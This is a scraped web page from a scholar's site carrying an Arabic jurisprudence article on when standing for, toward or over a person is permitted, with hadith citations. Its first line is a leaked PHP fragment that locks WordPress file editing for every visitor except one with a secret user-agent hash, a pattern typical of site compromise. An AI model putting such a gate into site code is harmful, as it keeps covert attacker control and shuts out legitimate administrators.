if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } أقسام القيام وأحكامه - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

أقسام القيام وأحكامه

القيام إما أن يكون على الشخص أو للشخص أو إلى الشخص، إما أن تقوم إليه أو عليه أو له، فأما القيام عليه فهو لحراسته وهذا سائغ إذا دعت الحاجة سواءً كان ملكًا أو رئيسًا أو وزيرًا أو أميرًا أو مسئولًا يُخشى عليه فلا حرج، وقد كان الصحابة يقومون على رأس النبي صلى الله عليه وسلم لحراسته إذا اقتضى الأمر ذلك كما جاء في صلح الحديبية حينما قام المغيرة على رسول الله صلى الله عليه وسلم وكان مشهرًا سيفه ولابسًا درعه، فدل ذلك على أنه جائزٌ للحاجة وهذا أمر يسير انتهينا منه.

بقي عندنا القيام له والقيام إليه، القيام إليه كأن يقدم فتقوم لاستقباله أو لإنزاله أو للسلام عليه فهذا سائغٌ أيضًا ودلت عليه السنة واستفاضت بذلك وسيأتي طرفٌ من السنة، الثالث: القيام له بأن تكون جالس في مكان ثم يدخل إنسان فتقوم، لا للسلام ولا للمعانقة، وهذا من أهل العلم من كرهه ومنهم من حرّمه والصحيح تحريمه إذا كان ممن يفرح بذلك ويُسر ويأمر الناس به، ولهذا جاء في الحديث: «مَن أحَبَّ أن يتمثَّلَ له الرجالُ قيامًا، فلْيتبوَّأْ مقعدَه من النَّارِ»[1]، ومن ذلك نهي النبي صلى الله عليه وسلم الصحابة لما اعتل وصلى جالسًا صلوا قيامًا نهاهم أن يصلوا قيامًا وهو جالس، قال: كدتم أن تفعلوا فعل فارس، إذن نقول القيام المشـروع لسبب، كأن تقوم لتعانقه لقدومه من سفر أو تخفف عنه أو تنزله من مركوبه أو نحو ذلك، هذا جاءت به السنة، وقد اعتنى الإمام النووي رحمه الله بالكلام على القيام وألف فيه رسالة قيمة سماها «الترخيص في الإكرام بالقيام لذوي الفضل والمزية من أهل الإسلام على جهة البر والتوقير والاحترام لا على جهة الرياء والإعظام» هذا كله العنوان لكنه عنوان جميل جامع للقيود التي تدل على الإباحة، مما يدل على جوازه حديث أبي سعيد الخدري رضي الله عنه: «أنَّ أُنَاسًا نَزَلُوا علَى حُكْمِ سَعْدِ بنِ مُعَاذٍ رَضِيَ اللهُ عَنْهُ، فأرْسَلَ إلَيْهِ فَجَاءَ علَى حِمَارٍ، فَلَمَّا بَلَغَ قَرِيبًا مِنَ المَسْجِدِ، قالَ النبيُّ: صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ قُومُوا إلى خَيْرِكُمْ، أوْ سَيِّدِكُمْ»[2]، وفي رواية قال: قوموا إلى سيدكم فأنزلوه، فكأن القيام للسلام وللإنزال من حماره رضي الله عنه، قال الإمام مسلم: (لا أعلم في قيام الرجل للرجل حديثًا أصح من هذا، وقال: هذا القيام على وجه البر لا على وجه التعظيم)، وقال الخطابي والبغوي بعد روايتهما لهذا الحديث: في هذا الحديث أن قيام المرؤوس للرئيس الفاضل والوالي العادل وقيام المتعلم للعالم مستحبٌ غير مكروه وإنما جاءت الكراهة فيمن كان بخلاف هذه الصفات، قال وما روي من قوله صلى الله عليه وسلم: من أحب أن يستجم الرجال له صفوفًا فهو أن يأمرهم بذلك ويلزمهم إياه على مذهب الكبر ونحوه، كما كان في بعض المدارس في جيل مضى، أكثركم ما أدركه، كان المعلم إذا دخل الفصل قال: قيام، جلوس، قيام، جلوس، نقول هذا القيام لا وجه له ولهذا أفتت اللجنة الدائمة ومشايخنا الكرام في زمنه وعُمم على المدراس ولم يبقى أحدٌ فيما نعلم يفعله، كما يدل على القيام هذا أيضًا حديث كعب بن مالك رضي الله عنه في حديث توبته الطويل وفيه لما نزلت توبته قال: «فانطلقت إلى رسول الله صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ حتَّى دَخَلْتُ المَسْجِدَ، فَإِذَا رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ جَالِسٌ حَوْلَهُ النَّاسُ، فَقَامَ إلَيَّ طَلْحَةُ بنُ عُبَيْدِ اللهِ يُهَرْوِلُ حتَّى صَافَحَنِي وهَنَّانِي، واللهِ ما قَامَ إلَيَّ رَجُلٌ مِنَ المُهَاجِرِينَ غَيْرَهُ، ولَا أنْسَاهَا لِطَلْحَةَ»[3] [الحديث متفق عليه]، ويدل على ذلك أيضًا من التطبيق العملي النبوي ما حصل من النبي صلى الله عليه وسلم مع بنته وبضعته فاطمة رضي الله عنها، قالت أم المؤمنين عائشة رضي الله عنها: «ما رأيتُ أحدًا أشبَهَ سَمتًا ولا هديًا برسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ من فاطمةَ بنتِ رسولِ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ ورضي الله تعالى عنها، قالت: وَكانَت إذا دخلَت على النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ قامَ إليها فقبَّلَها وأجلَسَها في مجلسِهِ، وَكانَ النَّبيُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ إذا دخلَ عليها قامت من مجلسِها فقبَّلتهُ وأجلَستْهُ في مجلسِها»[4] [رواه أبو داود والترمذي والنسائي وقال الترمذي حسن صحيح]، هذا طرف من الأحاديث، والأحاديث في الباب كثيرة وهي لا تخرج عن هذا المعنى، إذن نقول: القيام للحراسة جائز إذا دعت الحاجة، القيام لاستقباله أو السلام عليه جائز كما دلت هذه النصوص وهي صحيحة صريحة، أما القيام له تعظيمًا وإكرامًا وأنه يريد ذلك ويأمر الناس به فهذا متوعد بالنار، نسأل الله السلامة والعافية وحينئذٍ يكون القيام في هذه الحالة دائرٌ بين الكراهة والتحريم، عن الإمام أحمد رحمه الله ثلاث روايات في ذلك لكن الخلاصة هي ما ذكرت.


[1] أخرجه الألباني وصححه في صحيح الترغيب (2717).

[2] أخرجه البخاري (3804).

[3] أخرجه البخاري (4418).

[4] أخرجه أبو داود (5217)، والترمذي (3872) وقال الترمذي حسن صحيح، وأيضًا صححه الألباني في صحيح الترمذي (3872).